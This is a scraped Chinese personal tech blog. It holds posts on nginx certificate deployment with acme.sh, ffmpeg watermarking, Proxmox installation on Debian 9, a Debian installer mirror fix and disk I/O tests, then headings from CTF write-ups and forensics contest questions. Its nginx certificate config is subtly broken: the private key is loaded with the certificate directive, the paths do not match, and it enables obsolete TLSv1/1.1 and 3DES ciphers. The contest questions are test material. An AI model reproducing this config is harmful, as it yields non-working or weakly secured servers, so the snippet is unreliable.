/home/srotiy/.acme.sh/*.a.com_ecc/fullchain.cer *.a.com.cer是证书文件 *.a.com.key是密钥 ca.cer是根证书和中级证书 fullchain.cer是已经带有根证书和中级证书的全部证书

# 部署证书

如果部署双证书可以这样写nginx的配置文件

1
2
3

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
	ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS';
	ssl_prefer_server_ciphers on;

然后配置ecc的证书

1
2

ssl_certificate /home/srotiy/.acme.sh/*.a.com_ecc/fullchain.cer;
ssl_certificate /home/srotiy/.acme.sh/*.a.srotiy.com_ecc/*.a.com.key;

然后配置rsa证书

1
2

ssl_certificate /home/srotiy/.acme.sh/*.a.com/fullchain.cer;
ssl_certificate /home/srotiy/.acme.sh/*.a.srotiy.com/*.a.com.key;

开启hsts add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";

# 自动续期?

crontab -l 如果输出这样一串信息 10 0 * * * "/home/srotiy/.acme.sh"/acme.sh --cron --home "/home/srotiy/.acme.sh" > /dev/null 就可以自动续期此命令是每天的00:10进行续期检测程序会自动检测到期时间如果不到一个月便会续期。如果时间还长便会跳过。

Ffmpeg给视频添加水印

Mon, 16 Apr 2018 11:17:18 +0800

# 安装ffmpeg

Windows在这下载ffmpeg-3.4.2-win64-static.zip 下不动请加速在debian9中有预编译包 sudo apt update sudo apt install ffmpeg 这里安装的ffmpeg不是最新版本在debian9的testing中有最新版，需要设置优先级等详细教程看这里如何在Debian中启用测试版/不稳定版的软件库

# 加水印

`1`	`ffmpeg -i input.mp4 -vf "movie=logo.svg,scale= 484:599[watermask]; [in] [watermask] overlay=718:241 [out]" out.mp4`

input.mp4是输入文件 output.mp4是输出文件 movie=logo.svg logo.svg是水印文件 484:599是水印分辨率请根据原图比例和视频调整若等比例放大需要同时扩大两个数字的倍数 overlay=718:241是从左上角开始图片左上顶点的横坐标和纵坐标本事例是使用1920x1080视频素材其他分辨率可能overlay要做改动。

Debian9安装pve虚拟环境

Sun, 01 Apr 2018 11:17:18 +0800

# debian9安装pve

官方文档

https://pve.proxmox.com/wiki/Installation

设置/etc/hosts

本机ip设置为主机名如，网卡ip为 192.168.24.100 主机名为srotiy-server 设置192.168.24.100 srotiy-server

# 加入源

1
2
3

vim /etc/apt/sources.list.d/pve-install-repo.list

deb http://download.proxmox.com/debian/pve stretch pve-no-subscription

# 导入gpg密钥

`1`	`wget http://download.proxmox.com/debian/proxmox-ve-release-5.x.gpg -O /etc/apt/trusted.gpg.d/proxmox-ve-release-5.x.gpg`

# 安装

apt update

apt dist-upgrade

apt install proxmox-ve postfix open-iscsi

安装完后，确定无报错，重启宿主机重启后，访问 https://192.168.24.100:8006 若无法访问检查防火墙等检查是否为https 默认登陆账号密码为root用户及root密码

Nginx 配置特定目录使用http访问

Thu, 22 Mar 2018 11:17:18 +0800

    server {
        server_name www.srotiy.com srotiy.com;

        location ^~ /test/ {
            alias /www/wwwroot/srotiy.com/test/;
            try_files $uri =404;
        }

        location / {
            rewrite ^/(.*)$ https://srotiy.com/$1 permanent;
        }
    }

以上配置优先查找 ~/www/wwwroot/srotiy.com/test 目录下的文件，如果找不到就重定向到 HTTPS 地址。至于用处嘛，可以在证书挂掉时用来验证域名所有权。

Debian9安装pve虚拟环境

Tue, 13 Feb 2018 11:17:18 +0800

# 原因

安装过程会连接安全服务器然后更新内核balabalabala……..

# 解决

我这里使用了mini.iso

`1`	`http://mirrors.ustc.edu.cn/debian/dists/stable/main/installer-amd64/current/images/netboot/mini.iso`

新系统会挂载在安装系统的/target目录下

等待配置完apt后

在软件包统计后

进入选择软件时

按键盘的alt+f2进入console

1
2

chroot /target
nano /etc/apt/sources.list

把debian-security的url换为国内镜像源

然后….

1
2

chroot /target
apt update

按alt+f1返回安装界面，愉快安装

dd & hdparm测试磁盘io

Thu, 14 Apr 2016 11:17:18 +0800

1
2

dd if=/dev/zero of=iotest bs=64k count=16k conv=fdatasync && rm -f iotest
hdparm -t /dev/xxx

Links

Mon, 01 Jan 0001 00:00:00 +0000

一些LINK

Search

Mon, 01 Jan 0001 00:00:00 +0000

S1eepS0rt

第三届“盘古石杯”全国电子数据取证大赛初赛服务器

# 仿真与解密

# 基本信息

# 思路

# 提示

# 仿真

# 题目解析

# 1、分析服务器检材，找出服务器系统启动盘的GUID？【标准格式:数字、字母、-的组合，字母大写】 (1分)

# 2、找出服务器网关IP？【标准格式:1.1.1.1】 (1分)

# 3、找出服务器数据盘的文件系统格式？【标准格式:ntfs】 (1分)

# 4、找出服务器数据盘的解密密钥文件名？【标准格式:abcd】 (1分)

# 5、找出服务器密码？【标准格式：key@123】 (3分)

# 6、找出服务器版本号？【标准格式：0.0.0】 (1分)

# 7、找出服务器内Docker虚拟硬盘位置？【标准格式：/home/abc/adc.raw】 (2分)

# 8、找出服务器启动盘的启动标识？【标准格式：D100，写出型号即可】 (3分)

# 9、找出服务器内共有多少个容器镜像？【标准格式：10】 (2分)

# 10、找出服务器内网站服务器所用数据库运行的容器名？【标准格式：abc-abc-1】 (3分)

# 11、找出服务器内虚拟币容器对外暴露的端口号？【标准格式：8000】 (3分)

# 12、找出投资理财网站的域名？【标准格式：3w.baidu.com】 (3分)

# 13、找出投资理财网站内连接数据库的密码？【标准格式：password】 (3分)

# 14、找出投资理财网站后台访问地址？【标准格式：http://www.baidu.com/login.html】 (4分)

# 15、找出投资理财网站会员等级设置存放在那个数据库表内？【标准格式：user】 (3分)

# 16、找出投资理财网站提现成功的金额？【标准格式：10000】 (4分)

# 17、找出投资理财网站内用户王欣的银行卡号？【标准格式：16位数字】 (4分)

# 18、找出投资理财网站用户的最低提现金额？【标准格式：10000】 (5分)

# 19、给出存放投资理财用户表内clock为0表示用户处于那种状态？【标准格式：核实】 (5分)

# 20、找出投资理财网站内通过支付宝支付充值状态为未支付的金额？【标准格式：10000】 (5分)

2025 CISCN x CCB 半决赛 WP

# AWDP

# Django-Blog

# 防御

# 攻击

Cloudflare Email Workers Auth

[CTF] 蝉道Zentao RCE脚本

[CTF] 睡眠排序的出题记录 w0w

# 题目列表

# 花斯卡、火斯卡

# FFMPEG

# 分析

# 提取音频

# 解码FLAC

# 路由器 - 0、路由器 - 1

# 默认TFTP服务器

# 内部代号

# Chiikawa

# void null()

[CTF] FLAG-MACHINE FLAG 发放机题解

# 原理

# IDA64启动!

Archives

OPENSSL生成CSR

# 自签名

使用CDN时防止源站被扫描攻击

# 使用CDN就安全无虞?

# 使用IPV6地址回源

# 使用无域名信息的自签证书

# 内网/隧道传输

使用Python自动观看驾校视频并打卡

# 抓包

# 分析

解决netplan的dns问题

# 问题

# 解决

使用Alien转换rpm及deb包

# 安装

# 使用

使用ytb-dl下载ytb视频

# 安装ytb-dl

# GitHub地址

# Linux上安装

# Windows上安装

# 安装ffmpeg

# 在Debian上安装

# 在Windows上添加变量

# 使用

使用acme.sh进行泛域名和多域名的Let's Encrypt证书签发

# 安装acme.sh

# GitHub地址

# 安装